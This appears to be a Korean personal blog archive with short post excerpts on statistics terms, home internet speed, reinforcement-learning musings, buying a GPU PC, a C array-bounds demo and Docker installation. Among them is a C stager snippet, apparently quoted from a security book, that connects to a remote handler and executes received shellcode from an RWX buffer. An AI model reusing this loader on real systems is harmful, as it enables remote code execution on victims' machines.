통계학회 용어집에서 ‘frequency distribution’을 찾으면 ‘도수[빈도]분포’라고 나온다.
유튜브에서 찾았더니 경향이 눈에 띈다.
중학교에서는 ‘도수분포표’를 가르친다.
‘빈도분포’라는 용어는 통계로 밥 벌어먹는 사람들이 주로 쓴다.
통계학회 용어집에서 ‘frequency distribution’을 찾으면 ‘도수[빈도]분포’라고 나온다.
중학교에서는 ‘도수분포표’를 가르친다.
‘빈도분포’라는 용어는 통계로 밥 벌어먹는 사람들이 주로 쓴다.
KT 인터넷 속도 불만 관련해서 유튜버 '잇섭'이 올린 폭로성 영상을 본 지 며칠 후 문득 우리집 인터넷 속도가 궁금해졌다.
KT 홈페이지에서 제공하는 속도 측정 프로그램을 실행해본 결과, 다운로드와 업로드가 100Mbps 정도 나왔다. (2021-05-01 오전 12:01:12)
현재 이용중인 요금제 '기가 인터넷 최대 500M'은 제공 속도가 최대 500Mbps이고, QoS(1일 제한기준)이 150GB이지만 그렇게 많이 쓰지는 않았다. 그래서 실제 서비스가 100Mbps로 제한되고 있는 것이 아닌가 하는 의심이 들었고(틀린 생각임을 나중에 알게 됐다), 차라리 서비스를 최대 100M 상품으로 다운그레이드할까도 생각했다.
잠시 후 컴퓨터에 꽂힌 카테고리 5E 랜 케이블의 최대속도가 100M라는 걸 깨달았다. 무선으로 다시 테스트하니 유선보다 오히려 더 빨리 전송됐다. 하지만 지연(latency)이 좀 더 높게 나와서 게임을 할 때는 불편하겠다는 생각이 들었다. (2021-05-01 오전 12:20:59)
랜선을 좀 더 좋은 것으로 바꿔야겠다고 결론을 내리고 카테고리 7 케이블을 주문했다. 몇천 원밖에 하지 않는다. 선을 바꿔 끼니 속도가 빨라져 쾌적하다. (2021-05-04 오후 4:08:12)
강화학습에서 숫자로 표현되는 보상(reward)의 개념을 사람에 적용해 생각해보다가, 생명체가 느끼는 고통이 어떻게 구현됐을까 하는 궁금증이 생겼다.
또, 고통을 느끼는 기계를 만드는 것은 가능할까? 그게 가능하다면, 윤리적일까? 윤리적으로 문제가 없다는 결론이 날지도 모른다. 보상과 처벌은 강화학습의 핵심이기 때문이다. 고통을 느끼지 못하면 몸의 이상을 알기 힘들다는 걸 국민학교 방학 때 탐구생활 책에서 읽은 기억이 난다.
사람마다 원하는 것은 조금씩 다르다. 여러 가지 욕구에 사람마다 다른 가중치를 두어 총합을 구할 수 있겠지만, 다양한 욕구를 외부에서 직접적으로 조절하는 건 현실적으로 불가능하므로 결국 금전적 보상으로 귀결되는 것 같다. 음의 보상(penalty)도 마찬가지로 현실 세계에서는 결국 과징금, 벌금 등을 매개로 한다. 아, 징역과 사형도 있구나. 태형이란 것도 존재했고. 게다가 사적 영역에서는 온갖 폭력이 자행된다.
그러면 사람에게 궁극적인 보상은 무엇일까? 단순히 고통이 없는 상태를 보상으로 간주하는 건 좀 잔인하다. 역으로 쾌락이 없는 상태를 고통이라고 하지도 않는다.
혹시 불교에서 말하는 '해탈'은 고통도 쾌락도 없는 상태일까? 그렇다면 불교는 보상과 처벌로 조종당하는 삶을 거부하는 움직임이겠다.
그러고 보니 옛날에 읽은 공상과학 소설에서, 마약과 같이 쾌락을 일으키는 물질을 공급하는 장치에 뇌를 집어넣고 조종한다는 설정을 본 것 같다.
모 포털 사이트 데이터 분석 대회 수상자의 솔루션을 소개하는 책 교정을 맡아서 하고 있다. 솔루션의 코드가 그래픽 카드를 이용해 딥 러닝을 하는 것이라, 기존에 사용하던 노트북으로는 실행할 수 없어 데스크톱 PC를 새로 샀다.
조립 PC를 알아보고 직접 구성하는 데 시간과 노력을 들일 여력이 없어, 대기업에서 나온 윈도우까지 사전 설치된 제품을 선택했다. HP OMEN 30L 중 NVIDIA 2080ti가 들어간 것으로 했다. 이번 교정비보다 더 비싸다. 요즘 엔비디아에서 성능이 더 좋고 가격도 저렴한 신상품이 나오는 중이라 조금 더 기다릴 수 있으면 좋았겠지만 당장 테스트 결과를 내는 것이 중요했다.
사실은 이번 달까지 보안 책 번역 끝내고 나면 게임용 PC를 사서 놀아야겠다고 생각하던 참이다.
% cat pointer.c
#include
int main(void) {
int numbers[] = {4, -1, 8, 3, 0, -11};
printf("%d", numbers[10]);
return 0;
}
% xcode-select --install% gcc pointer.c
pointer.c:5:18: warning: array index 10 is past the end of the array (which
contains 6 elements) [-Warray-bounds]
printf("%d", numbers[10]);
^ ~~
pointer.c:4:5: note: array 'numbers' declared here
int numbers[] = {4, -1, 8, 3, 0, -11};
^
1 warning generated.
% ./a.out
1860979913/* 핸들러에 연결 */
SOCKET my_socket = wsconnect(argv[1], atoi(argv[2]));
/* 4 바이트를 읽음 */
int count = recv(my_socket, (char *)&size, 4, 0);
if (count != 4 || size <= 0)
punt(my_socket, "read a strange or incomplete length value\n");
/* RWX 버퍼를 할당 */
buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL)
punt(my_socket, "could not allocate buffer\n");
/* SOCKET 값을 EDI 레지스터에 옮기기 위해 어셈블리를 prepend
BF 78 56 34 12 => mov edi, 0x12345678 */
buffer[0] = 0xBF;
/* 소켓의 값을 버퍼에 복사 */
memcpy(buffer + 1, &my_socket, 4);
/* 바이트를 버퍼에 읽음 */
count = recv_all(my_socket, buffer + 5, size);
/* 버퍼를 함수로 변환해 호출 */
function = (void (*)())buffer;
function();
You can't have your cake and eat it, too. (두 마리 토끼를 한 번에 잡을 수 없다)
# 도커 APT 저장소 구성
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' | sudo tee /etc/apt/sources.list.d/docker.list
# 도커 커뮤니티 에디션 설치
sudo apt-get update
sudo apt-get remove docker docker-engine docker.io
sudo apt-get install docker-ce
# 테스트
sudo systemctl status docker
docker -v
sudo docker run hello-world